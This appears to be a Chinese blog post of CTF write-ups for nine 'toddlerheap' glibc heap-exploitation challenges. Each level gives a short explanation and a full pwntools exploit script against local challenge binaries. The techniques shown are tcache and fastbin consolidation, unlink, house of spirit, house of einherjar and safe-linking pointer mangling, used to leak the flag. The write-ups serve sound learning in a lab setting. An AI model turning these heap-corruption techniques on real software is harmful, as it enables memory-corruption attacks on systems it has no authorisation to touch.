前言#

冲冲冲，尽快拿下这一章然后学 FSOP，同时空下来学点 IoT，提前进军 realworld 。

Level 1.0#

Information#

Category: Pwn

Description#

Leverage consolidation to obtain the flag.

Write-up#

先填满 tcache，然后再申请同样大小就进入 fastbin 了，接着释放，让它可再次被分配，由于 malloc 超出 smallbin 范围的 chunk 会先触发 malloc_consolidate，强制合并所有 fastbin 到 top chunk，所以 read_flag 可以返回我们 fastbin 中那个 free 的地址，而由于 free 的时候并没有清除结构体中保存的指针，所以我们可以通过 puts UAF 泄漏其值。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    args,
6
    context,
7
    flat,
8
    process,
9
    raw_input,
10
    remote,
11
)
12

13
FILE = "/challenge/toddlerheap_level1.0"
14
HOST, PORT = "localhost", 1337
15

16
context(log_level="debug", binary=FILE, terminal="kitty")
17

18
elf = context.binary
19
libc = ELF("/challenge/lib/libc.so.6")
20

21

22
def malloc(idx, size):
23
    target.sendlineafter(b": ", b"malloc")
24
    target.sendlineafter(b"Index: ", str(idx).encode())
25
    target.sendlineafter(b"Size: ", str(size).encode())
26

27

28
def free(idx):
29
    target.sendlineafter(b": ", b"free")
30
    target.sendlineafter(b"Index: ", str(idx).encode())
31

32

33
def puts(idx):
34
    target.sendlineafter(b": ", b"puts")
35
    target.sendlineafter(b"Index: ", str(idx))
36

37

38
def read_flag():
39
    target.sendlineafter(b": ", b"read_flag")
40

41

42
def quit():
43
    target.sendlineafter(b": ", b"quit")
44

45

46
def mangle(pos, ptr, shifted=1):
47
    if shifted:
48
        return pos ^ ptr
49
    return (pos >> 12) ^ ptr
50

51

52
def demangle(pos, ptr, shifted=1):
53
    if shifted:
54
        return mangle(pos, ptr)
55
    return mangle(pos, ptr, 0)
56

57

58
def launch():
59
    global target
60
    if args.L:
61
        target = process(FILE)
62
    else:
63
        target = remote(HOST, PORT)
64

65

66
def main():
67
    launch()
68

69
    for i in range(7):
70
        malloc(i, 0)
71

72
    malloc(7, 0)
73

74
    for i in range(7):
75
        free(i)
76

77
    raw_input("DEBUG")
78
    free(7)
79
    read_flag()
80
    puts(7)
81
    quit()
82

83
    target.interactive()
84

85

86
if __name__ == "__main__":
87
    main()

Level 2.0#

Information#

Category: Pwn

Description#

Leverage consolidation to obtain the flag.

Write-up#

1
    if ( strcmp(s1, "read_flag") )
2
      break;
3
    for ( i = 0; i <= 1; ++i )
4
    {
5
      printf("[*] flag_buffer = malloc(%d)\n", 1434);
6
      size_4 = malloc(0x59Au);
7
      printf("[*] flag_buffer = %p\n", size_4);
8
    }
9
    fd = open("/flag", 0);
10
    read(fd, size_4, 0x80u);
11
    puts("[*] read the flag!");
12
  }

这次就是 read_flag 中会执行两次 malloc，flag 被写到最后一次 malloc 返回的地址中。

那还不简单，丢两个与 malloc 申请的大小一样的 chunk 到 unsorted bin 中，这样切蛋糕切出来第二块的地址正好就是 flag 的 chunk 地址了。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    args,
6
    context,
7
    flat,
8
    process,
9
    raw_input,
10
    remote,
11
)
12

13

14
FILE = "/challenge/toddlerheap_level2.0"
15
HOST, PORT = "localhost", 1337
16

17
context(log_level="debug", binary=FILE, terminal="kitty")
18

19
elf = context.binary
20

21

22
def malloc(idx, size):
23
    target.sendlineafter(b": ", b"malloc")
24
    target.sendlineafter(b"Index: ", str(idx).encode())
25
    target.sendlineafter(b"Size: ", str(size).encode())
26

27

28
def calloc(idx, size):
29
    target.sendlineafter(b": ", b"calloc")
30
    target.sendlineafter(b"Index: ", str(idx).encode())
31
    target.sendlineafter(b"Size: ", str(size).encode())
32

33

34
def free(idx):
35
    target.sendlineafter(b": ", b"free")
36
    target.sendlineafter(b"Index: ", str(idx).encode())
37

38

39
def puts(idx):
40
    target.sendlineafter(b": ", b"puts")
41
    target.sendlineafter(b"Index: ", str(idx))
42

43

44
def read_flag():
45
    target.sendlineafter(b": ", b"read_flag")
46

47

48
def quit():
49
    target.sendlineafter(b": ", b"quit")
50

51

52
def mangle(pos, ptr, shifted=1):
53
    if shifted:
54
        return pos ^ ptr
55
    return (pos >> 12) ^ ptr
56

57

58
def demangle(pos, ptr, shifted=1):
59
    if shifted:
60
        return mangle(pos, ptr)
61
    return mangle(pos, ptr, 0)
62

63

64
def launch():
65
    global target
66
    if args.L:
67
        target = process(FILE)
68
    else:
69
        target = remote(HOST, PORT)
70

71

72
def main():
73
    launch()
74

75
    for i in range(7):
76
        malloc(i, 0)
77

78
    for i in range(7):
79
        free(i)
80

81
    calloc(0, 0x59A)
82
    calloc(1, 0x59A)
83
    calloc(2, 0)
84
    free(1)
85
    free(0)
86
    raw_input("DEBUG")
87
    read_flag()
88
    puts(1)
89
    quit()
90

91
    target.interactive()
92

93

94
if __name__ == "__main__":
95
    main()

Level 3.0#

Information#

Category: Pwn

Description#

Leverage consolidation to obtain the flag.

Write-up#

和上题类似，区别在于这次我们可以 malloc 的大小被限制为必须 > 0x41F，而 read_flag 内部使用的 malloc 大小为 0x390，导致无法精确分配到我们想要的 chunk，咋办？

回忆一下 malloc 和相邻 chunk consolidation 的机制，我们注意到 malloc 的查找顺序为 tcachebins -> fastbins -> smallbins -> unsorted bins -> ... 由于这里我们只能请求 > 0x41F 大小的 chunk，所以可以直接排除 tcachebins、fastbins 和 smallbins 的可能性，那么 malloc 会直接查 unsorted bins，有合适的就直接返回，如果远大于请求大小就切割然后归类，不够就去下一个 bin 中找……

那我们只要设计一个 [free chunk with controled idx][guard][free chunk with controled idx][guard]... 这样的堆布局，重复 11 组即可。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    args,
6
    context,
7
    flat,
8
    process,
9
    raw_input,
10
    remote,
11
)
12

13

14
FILE = "/challenge/toddlerheap_level3.0"
15
HOST, PORT = "localhost", 1337
16

17
context(log_level="debug", binary=FILE, terminal="kitty")
18

19
elf = context.binary
20

21

22
def malloc(idx, size):
23
    target.sendlineafter(b": ", b"malloc")
24
    target.sendlineafter(b"Index: ", str(idx).encode())
25
    target.sendlineafter(b"Size: ", str(size).encode())
26

27

28
def free(idx):
29
    target.sendlineafter(b": ", b"free")
30
    target.sendlineafter(b"Index: ", str(idx).encode())
31

32

33
def puts(idx):
34
    target.sendlineafter(b": ", b"puts")
35
    target.sendlineafter(b"Index: ", str(idx))
36

37

38
def read_flag():
39
    target.sendlineafter(b": ", b"read_flag")
40

41

42
def quit():
43
    target.sendlineafter(b": ", b"quit")
44

45

46
def mangle(pos, ptr, shifted=1):
47
    if shifted:
48
        return pos ^ ptr
49
    return (pos >> 12) ^ ptr
50

51

52
def demangle(pos, ptr, shifted=1):
53
    if shifted:
54
        return mangle(pos, ptr)
55
    return mangle(pos, ptr, 0)
56

57

58
def launch():
59
    global target
60
    if args.L:
61
        target = process(FILE)
62
    else:
63
        target = remote(HOST, PORT)
64

65

66
def main():
67
    launch()
68

69
    for i in range(12):
70
        # raw_input("DEBUG")
71
        malloc(i, 0x420)
72
        # raw_input("DEBUG")
73
        malloc(15, 0x420)
74

75
    for i in range(12):
76
        # raw_input("DEBUG")
77
        free(i)
78

79
    read_flag()
80
    puts(11)
81
    quit()
82

83
    target.interactive()
84

85

86
if __name__ == "__main__":
87
    main()

Level 4.0#

Information#

Category: Pwn

Description#

Perform an advanced heap exploit to obtain the flag.

Write-up#

这题就是打个高版本 unlink，看了下，发现 2.41 的打法也是一样的，那我盲猜 2.42 应该也没变。

不会 unlink 的可以看我写的 Doubly Linked, Doubly Doomed 。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    args,
6
    context,
7
    flat,
8
    process,
9
    raw_input,
10
    remote,
11
)
12

13

14
FILE = "./toddlerheap_level4.0_patched"
15
HOST, PORT = "localhost", 1337
16

17
context(log_level="debug", binary=FILE, terminal="kitty")
18

19
elf = context.binary
20

21

22
def malloc(idx, size):
23
    target.sendlineafter(b": ", b"malloc")
24
    target.sendlineafter(b"Index: ", str(idx).encode())
25
    target.sendlineafter(b"Size: ", str(size).encode())
26

27

28
def free(idx):
29
    target.sendlineafter(b": ", b"free")
30
    target.sendlineafter(b"Index: ", str(idx).encode())
31

32

33
def puts(idx):
34
    target.sendlineafter(b": ", b"puts")
35
    target.sendlineafter(b"Index: ", str(idx).encode())
36

37

38
def safe_read(idx, data):
39
    target.sendlineafter(b": ", b"safe_read")
40
    target.sendlineafter(b"Index: ", str(idx).encode())
41
    target.sendline(data)
42

43

44
def send_flag():
45
    target.sendlineafter(b": ", b"send_flag")
46

47

48
def quit():
49
    target.sendlineafter(b": ", b"quit")
50

51

52
def mangle(pos, ptr, shifted=1):
53
    if shifted:
54
        return pos ^ ptr
55
    return (pos >> 12) ^ ptr
56

57

58
def demangle(pos, ptr, shifted=1):
59
    if shifted:
60
        return mangle(pos, ptr)
61
    return mangle(pos, ptr, 0)
62

63

64
def launch():
65
    global target
66
    if args.L:
67
        target = process(FILE)
68
    else:
69
        target = remote(HOST, PORT)
70

71

72
def main():
73
    launch()
74

75
    malloc(0, 0xBB8 * 3)
76
    free(0)
77
    malloc(15, 0xBB8)  # guard
78

79
    malloc(1, 0xBB8)
80
    malloc(2, 0xBB8)
81

82
    payload = flat(
83
        b"A" * 0xBB0,
84
        0,
85
        0xBC1,
86
        0,  # prev_size
87
        (0xBC0 - 0x10) | 0x1,  # chunk_size
88
        0x404130,  # fd
89
        0x404138,  # bk
90
        0,  # fd_nextsize
91
        0,  # bk_nextsize
92
        b"A" * 0xB80,
93
        0xBC0 - 0x10,  # prev_size
94
        0xBC1 & ~0x1,  # chunk_size
95
    )
96
    raw_input("DEBUG")
97
    safe_read(0, payload)
98
    free(2)
99

100
    payload = flat(
101
        b"A" * 0x98,
102
        0x1,
103
    )
104
    raw_input("DEBUG")
105
    safe_read(1, payload)
106
    send_flag()
107
    quit()
108

109
    target.interactive()
110

111

112
if __name__ == "__main__":
113
    main()

Level 5.0#

Information#

Category: Pwn

Description#

Perform an advanced heap exploit to obtain the flag.

Write-up#

也是 unlink，unlink 以后我们就能控制 alloc_struct 了，由于这里面保存的都是 malloc 的返回值，所以我们还可以利用它来泄漏堆地址，定位 flag 的位置，最后，只需要想办法让 malloc 返回 flag 的地址即可，我通过 overlapping chunks 实现的这一点。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    args,
6
    context,
7
    flat,
8
    process,
9
    raw_input,
10
    remote,
11
)
12

13

14
FILE = "/challenge/toddlerheap_level5.0"
15
HOST, PORT = "localhost", 1337
16

17
context(log_level="debug", binary=FILE, terminal="kitty")
18

19
elf = context.binary
20

21

22
def malloc(idx, size):
23
    target.sendlineafter(b": ", b"malloc")
24
    target.sendlineafter(b"Index: ", str(idx).encode())
25
    target.sendlineafter(b"Size: ", str(size).encode())
26

27

28
def free(idx):
29
    target.sendlineafter(b": ", b"free")
30
    target.sendlineafter(b"Index: ", str(idx).encode())
31

32

33
def puts(idx):
34
    target.sendlineafter(b": ", b"puts")
35
    target.sendlineafter(b"Index: ", str(idx).encode())
36

37

38
def read(idx, size, data):
39
    target.sendlineafter(b": ", b"read")
40
    target.sendlineafter(b"Index: ", str(idx).encode())
41
    target.sendlineafter(b"Size: ", str(size).encode())
42
    target.send(data)
43

44

45
def quit():
46
    target.sendlineafter(b": ", b"quit")
47

48

49
def mangle(pos, ptr, shifted=1):
50
    if shifted:
51
        return pos ^ ptr
52
    return (pos >> 12) ^ ptr
53

54

55
def demangle(pos, ptr, shifted=1):
56
    if shifted:
57
        return mangle(pos, ptr)
58
    return mangle(pos, ptr, 0)
59

60

61
def launch():
62
    global target
63
    if args.L:
64
        target = process(FILE)
65
    else:
66
        target = remote(HOST, PORT)
67

68

69
def main():
70
    launch()
71

72
    malloc(0, 0x420)
73
    malloc(1, 0x420)
74
    malloc(2, 0x420)
75

76
    payload = flat(
77
        0,
78
        0x420,
79
        0x404148 - 0x18,
80
        0x404148 - 0x10,
81
        0,
82
        0,
83
        b"A" * 0x3F0,
84
        0x420,
85
        0x431 & ~0x1,
86
    )
87
    # raw_input("DEBUG")
88
    read(1, 0x430, payload)
89
    free(2)
90

91
    payload = flat(
92
        b"A" * 0x10,
93
    )
94
    # raw_input("DEBUG")
95
    read(1, 0x1337, payload)
96
    puts(1)
97

98
    target.recvuntil(b"Data: " + b"A" * 0x10)
99
    heap = int.from_bytes(target.recvline().strip(), "little")
100
    overlapping_chunksize = heap - 0x890
101
    overlapping_chunk = heap - 0x880
102
    target.success(f"heap: {hex(heap)}")
103

104
    payload = flat(
105
        0,
106
        0,
107
        overlapping_chunksize,
108
    )
109
    # raw_input("DEBUG")
110
    read(1, 0x1337, payload)
111

112
    payload = flat(
113
        0,
114
        0x881,
115
    )
116
    # raw_input("DEBUG")
117
    read(0, 0x1337, payload)
118

119
    payload = flat(
120
        0,
121
        0,
122
        overlapping_chunk,
123
    )
124
    # raw_input("DEBUG")
125
    read(1, 0x1337, payload)
126
    free(0)
127

128
    malloc(5, 0x870)
129
    # raw_input("DEBUG")
130
    read(5, 0x1337, flat(b"A" * 0x440))
131
    puts(5)
132
    quit()
133

134
    target.interactive()
135

136

137
if __name__ == "__main__":
138
    main()

Level 6.0#

Information#

Category: Pwn

Description#

Perform an advanced heap exploit to obtain the flag.

Write-up#

house of spirit 吧，只要伪造一个 free chunk，就可以让 calloc 返回这个 chunk 的地址了，但是要注意 calloc 会将 chunk 内存清空。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    args,
6
    context,
7
    flat,
8
    process,
9
    raw_input,
10
    remote,
11
)
12

13

14
FILE = "/challenge/toddlerheap_level6.0"
15
HOST, PORT = "localhost", 1337
16

17
context(log_level="debug", binary=FILE, terminal="kitty")
18

19
elf = context.binary
20

21

22
def calloc(idx, size):
23
    target.sendlineafter(b": ", b"calloc")
24
    target.sendlineafter(b"Index: ", str(idx).encode())
25
    target.sendlineafter(b"Size: ", str(size).encode())
26

27

28
def free(idx):
29
    target.sendlineafter(b": ", b"free")
30
    target.sendlineafter(b"Index: ", str(idx).encode())
31

32

33
def puts(idx):
34
    target.sendlineafter(b": ", b"puts")
35
    target.sendlineafter(b"Index: ", str(idx).encode())
36

37

38
def safer_read(idx, data):
39
    target.sendlineafter(b": ", b"safer_read")
40
    target.sendlineafter(b"Index: ", str(idx).encode())
41
    target.send(data)
42

43

44
def read_to_global(size, data):
45
    target.sendlineafter(b": ", b"read_to_global")
46
    target.sendlineafter(b"read_size: ", str(size).encode())
47
    target.send(data)
48

49

50
def quit():
51
    target.sendlineafter(b": ", b"quit")
52

53

54
def mangle(pos, ptr, shifted=1):
55
    if shifted:
56
        return pos ^ ptr
57
    return (pos >> 12) ^ ptr
58

59

60
def demangle(pos, ptr, shifted=1):
61
    if shifted:
62
        return mangle(pos, ptr)
63
    return mangle(pos, ptr, 0)
64

65

66
def launch():
67
    global target
68
    if args.L:
69
        target = process(FILE)
70
    else:
71
        target = remote(HOST, PORT)
72

73

74
def main():
75
    launch()
76

77
    target.recvuntil(b"Reading the flag into ")
78
    flag = int(target.recvline().strip()[:-1], 16)
79

80
    for i in range(7):
81
        calloc(i, 0)
82
        free(i)
83

84
    calloc(0, 0x10)
85
    calloc(1, 0x10)
86
    free(1)
87
    free(0)
88

89
    puts(1)
90
    target.recvuntil(b"Data: ")
91
    pos = int.from_bytes(target.recvline().strip(), "little")
92

93
    puts(0)
94
    target.recvuntil(b"Data: ")
95
    heap = demangle(pos, int.from_bytes(target.recvline().strip(), "little"))
96

97
    target.success(f"flag: {hex(flag)}")
98
    target.success(f"pos: {hex(pos)}")
99
    target.success(f"heap: {hex(heap)}")
100

101
    payload = flat(
102
        {
103
            0x2E0: 0,
104
            0x2E8: 0x21,
105
            0x2F0: b"A" * 0x8,
106
        }
107
    )
108
    # raw_input("DEBUG")
109
    read_to_global(0x1337, payload)
110
    # raw_input("DEBUG")
111
    safer_read(0, flat(mangle(pos, flag - 0x28)))
112

113
    calloc(0, 0x18)
114
    raw_input("DEBUG")
115
    calloc(1, 0x18)
116
    raw_input("DEBUG")
117
    safer_read(1, b"A" * 0x18)
118
    puts(1)
119
    quit()
120

121
    target.interactive()
122

123

124
if __name__ == "__main__":
125
    main()

Level 7.0#

Information#

Category: Pwn

Description#

Perform an advanced heap exploit to obtain the flag.

Write-up#

与上题类似，也是要想办法令 calloc 返回一个包含 flag 的 chunk，区别在于这次不能往 bss 写入数据了。但是调试发现，bss 保存 size 的位置与保存 flag 的位置距离很近，因此我们也就可以利用这一点来伪造 flag chunk 的 chunk_size，令 calloc 认为这是一个合法的 chunk 并返回。

虽然这次 bss 中存储 size 的位置和 flag 位置距离近看上去很刻意，但 bss 下面一般紧邻着 heap 确实是一个通常容易被忽略的地方，可以注意刻意培养一下自己对内存布局的敏感度：

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File (set vmmap-prefer-relpaths on)
    0x557a0689e000     0x557a0689f000 r--p     1000      0 toddlerheap_level7.0_patched
    0x557a0689f000     0x557a068a0000 r-xp     1000   1000 toddlerheap_level7.0_patched
    0x557a068a0000     0x557a068a1000 r--p     1000   2000 toddlerheap_level7.0_patched
    0x557a068a1000     0x557a068a2000 r--p     1000   2000 toddlerheap_level7.0_patched
    0x557a068a2000     0x557a068a3000 rw-p     1000   3000 toddlerheap_level7.0_patched
    0x557a068a3000     0x557a068a7000 rw-p     4000   5000 toddlerheap_level7.0_patched
    0x557a3c52b000     0x557a3c54c000 rw-p    21000      0 [heap]

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    args,
6
    context,
7
    flat,
8
    process,
9
    raw_input,
10
    remote,
11
)
12

13

14
FILE = "/challenge/toddlerheap_level7.0"
15
HOST, PORT = "localhost", 1337
16

17
context(log_level="debug", binary=FILE, terminal="kitty")
18

19
elf = context.binary
20

21

22
def calloc(idx, size):
23
    target.sendlineafter(b": ", b"calloc")
24
    target.sendlineafter(b"Index: ", str(idx).encode())
25
    target.sendlineafter(b"Size: ", str(size).encode())
26

27

28
def free(idx):
29
    target.sendlineafter(b": ", b"free")
30
    target.sendlineafter(b"Index: ", str(idx).encode())
31

32

33
def puts(idx):
34
    target.sendlineafter(b": ", b"puts")
35
    target.sendlineafter(b"Index: ", str(idx).encode())
36

37

38
def safer_read(idx, data):
39
    target.sendlineafter(b": ", b"safer_read")
40
    target.sendlineafter(b"Index: ", str(idx).encode())
41
    target.send(data)
42

43

44
def quit():
45
    target.sendlineafter(b": ", b"quit")
46

47

48
def mangle(pos, ptr, shifted=1):
49
    if shifted:
50
        return pos ^ ptr
51
    return (pos >> 12) ^ ptr
52

53

54
def demangle(pos, ptr, shifted=1):
55
    if shifted:
56
        return mangle(pos, ptr)
57
    return mangle(pos, ptr, 0)
58

59

60
def launch():
61
    global target
62
    if args.L:
63
        target = process(FILE)
64
    else:
65
        target = remote(HOST, PORT)
66

67

68
def main():
69
    launch()
70

71
    target.recvuntil(b"Reading the flag into ")
72
    flag = int(target.recvline().strip()[:-1], 16)
73

74
    for i in range(7):
75
        calloc(i, 0)
76
        free(i)
77

78
    calloc(0, 0)
79
    calloc(1, 0)
80
    free(1)
81
    free(0)
82

83
    puts(1)
84
    target.recvuntil(b"Data: ")
85
    pos = int.from_bytes(target.recvline().strip(), "little")
86

87
    puts(0)
88
    target.recvuntil(b"Data: ")
89
    heap = demangle(pos, int.from_bytes(target.recvline().strip(), "little"))
90

91
    target.success(f"flag: {hex(flag)}")
92
    target.success(f"pos: {hex(pos)}")
93
    target.success(f"heap: {hex(heap)}")
94

95
    calloc(10, 0x20)
96
    calloc(0, 0x10)
97
    calloc(1, 0x10)
98
    free(1)
99
    free(0)
100

101
    payload = flat(
102
        mangle(pos, flag - 0x28),
103
    )
104
    raw_input("DEBUG")
105
    safer_read(0, payload)
106

107
    calloc(0, 0x10)
108
    # raw_input("DEBUG")
109
    calloc(0, 0x18)
110

111
    raw_input("DEBUG")
112
    safer_read(0, b"A" * 0x18)
113
    puts(0)
114
    quit()
115

116
    target.interactive()
117

118

119
if __name__ == "__main__":
120
    main()

Level 8.0#

Information#

Category: Pwn

Description#

Perform an advanced heap exploit to obtain the flag.

Write-up#

本来以为是要打 largebin attack，结果发现不是，而是 house of einherjar……~~einherjar？E (FLAGS) in her jar !（误~~

对于这章都快结束了还没有学到 largebin attack 还是有点小失落的，不过却也为多学了一个 house 而高兴……

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    args,
6
    context,
7
    flat,
8
    process,
9
    raw_input,
10
    remote,
11
)
12

13

14
FILE = "/challenge/toddlerheap_level8.0"
15
HOST, PORT = "localhost", 1337
16

17
context(log_level="debug", binary=FILE, terminal="kitty")
18

19
elf = context.binary
20

21

22
def malloc(idx, size):
23
    target.sendlineafter(b": ", b"malloc")
24
    target.sendlineafter(b"Index: ", str(idx).encode())
25
    target.sendlineafter(b"Size: ", str(size).encode())
26

27

28
def free(idx):
29
    target.sendlineafter(b": ", b"free")
30
    target.sendlineafter(b"Index: ", str(idx).encode())
31

32

33
def puts(idx):
34
    target.sendlineafter(b": ", b"puts")
35
    target.sendlineafter(b"Index: ", str(idx).encode())
36

37

38
def read_copy(idx, data):
39
    target.sendlineafter(b": ", b"read_copy")
40
    target.sendlineafter(b"Index: ", str(idx).encode())
41
    target.send(data)
42

43

44
def read_flag():
45
    target.sendlineafter(b": ", b"read_flag")
46

47

48
def quit():
49
    target.sendlineafter(b": ", b"quit")
50

51

52
def mangle(pos, ptr, shifted=1):
53
    if shifted:
54
        return pos ^ ptr
55
    return (pos >> 12) ^ ptr
56

57

58
def demangle(pos, ptr, shifted=1):
59
    if shifted:
60
        return mangle(pos, ptr)
61
    return mangle(pos, ptr, 0)
62

63

64
def launch():
65
    global target
66
    if args.L:
67
        target = process(FILE)
68
    else:
69
        target = remote(HOST, PORT)
70

71

72
def main():
73
    launch()
74

75
    malloc(0, 0)
76
    malloc(1, 0)
77
    free(1)
78
    free(0)
79
    malloc(0, 0)
80
    malloc(1, 0)
81

82
    puts(1)
83
    target.recvuntil(b"Data: ")
84
    pos = int.from_bytes(target.recvline().strip(), "little")
85

86
    puts(0)
87
    target.recvuntil(b"Data: ")
88
    heap = demangle(pos, int.from_bytes(target.recvline().strip(), "little"))
89

90
    target.success(f"pos: {hex(pos)}")
91
    target.success(f"heap: {hex(heap)}")
92

93
    flag = heap + 0x8C0
94
    fake_chunk = heap + 0x20
95

96
    malloc(0, 0x38)
97
    malloc(1, 0x28)
98
    malloc(2, 0xF8)
99

100
    payload = flat(
101
        0,
102
        0x60,
103
        fake_chunk,
104
        fake_chunk,
105
    )
106
    # raw_input("DEBUG")
107
    read_copy(0, payload)
108

109
    payload = flat(
110
        b"A" * 0x20,
111
        0x60,
112
    )
113
    # raw_input("DEBUG")
114
    read_copy(1, payload)
115

116
    for i in range(7, 14):
117
        malloc(i, 0xF8)
118

119
    for i in range(7, 14):
120
        free(i)
121

122
    # raw_input("DEBUG")
123
    free(2)
124

125
    malloc(3, 0x158)
126
    malloc(4, 0x28)
127
    free(4)
128
    free(1)
129

130
    payload = flat(
131
        b"A" * 0x20,
132
        0,
133
        0x31,
134
        mangle(pos, flag),
135
    )
136
    # raw_input("DEBUG")
137
    read_copy(3, payload)
138

139
    # raw_input("DEBUG")
140
    malloc(0, 0x28)
141
    malloc(0, 0x28)
142
    # raw_input("DEBUG")
143
    read_flag()
144
    puts(0)
145
    quit()
146

147
    target.interactive()
148

149

150
if __name__ == "__main__":
151
    main()

Level 9.0#

Information#

Category: Pwn

Description#

Perform an advanced heap exploit to obtain the flag.

Write-up#

free 后只是清空了 size 却没有清空 ptr，所以可以将 unsorted bin 中的 chunk 丢到 tcache 中，再利用 unsorted bin 的合并机制来 overlapping 破坏 tcache 的 fd 指针。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    args,
6
    context,
7
    flat,
8
    process,
9
    raw_input,
10
    remote,
11
)
12

13

14
FILE = "/challenge/toddlerheap_level9"
15
HOST, PORT = "localhost", 1337
16

17
context(log_level="debug", binary=FILE, terminal="kitty")
18

19
elf = context.binary
20

21

22
def malloc(idx, size):
23
    target.sendlineafter(b": ", b"malloc")
24
    target.sendlineafter(b"Index: ", str(idx).encode())
25
    target.sendlineafter(b"Size: ", str(size).encode())
26

27

28
def free(idx):
29
    target.sendlineafter(b": ", b"free")
30
    target.sendlineafter(b"Index: ", str(idx).encode())
31

32

33
def puts(idx):
34
    target.sendlineafter(b": ", b"puts")
35
    target.sendlineafter(b"Index: ", str(idx).encode())
36

37

38
def safer_read(idx, data):
39
    target.sendlineafter(b": ", b"safer_read")
40
    target.sendlineafter(b"Index: ", str(idx).encode())
41
    target.send(data)
42

43

44
def send_flag():
45
    target.sendlineafter(b": ", b"send_flag")
46

47

48
def quit():
49
    target.sendlineafter(b": ", b"quit")
50

51

52
def mangle(pos, ptr, shifted=1):
53
    if shifted:
54
        return pos ^ ptr
55
    return (pos >> 12) ^ ptr
56

57

58
def demangle(pos, ptr, shifted=1):
59
    if shifted:
60
        return mangle(pos, ptr)
61
    return mangle(pos, ptr, 0)
62

63

64
def launch():
65
    global target
66
    if args.L:
67
        target = process(FILE)
68
    else:
69
        target = remote(HOST, PORT)
70

71

72
def main():
73
    launch()
74

75
    authenticated = 0x404260
76

77
    malloc(0, 0x10)
78
    malloc(1, 0x10)
79
    free(1)
80
    free(0)
81
    malloc(1, 0x10)
82
    malloc(0, 0x10)
83

84
    puts(0)
85
    target.recvuntil(b"Data: ")
86
    pos = int.from_bytes(target.recvline().strip(), "little")
87

88
    puts(1)
89
    target.recvuntil(b"Data: ")
90
    heap = demangle(pos, int.from_bytes(target.recvline().strip(), "little"))
91

92
    target.success(f"pos: {hex(pos)}")
93
    target.success(f"heap: {hex(heap)}")
94

95
    for i in range(7, 14):
96
        malloc(i, 0x100)
97

98
    malloc(0, 0x100)
99
    malloc(1, 0x100)
100
    malloc(15, 0x10)  # guard
101

102
    for i in range(7, 14):
103
        free(i)
104

105
    free(1)
106
    free(0)
107

108
    malloc(0, 0x100)
109
    free(1)
110

111
    malloc(0, 0x210)
112
    payload = flat(
113
        {
114
            0x108: 0x111,
115
            0x110: mangle(pos, authenticated),
116
        }
117
    )
118
    # raw_input("DEBUG")
119
    safer_read(0, payload)
120

121
    malloc(0, 0x100)
122
    malloc(0, 0x100)
123
    safer_read(0, b"A")
124
    send_flag()
125
    quit()
126

127
    target.interactive()
128

129

130
if __name__ == "__main__":
131
    main()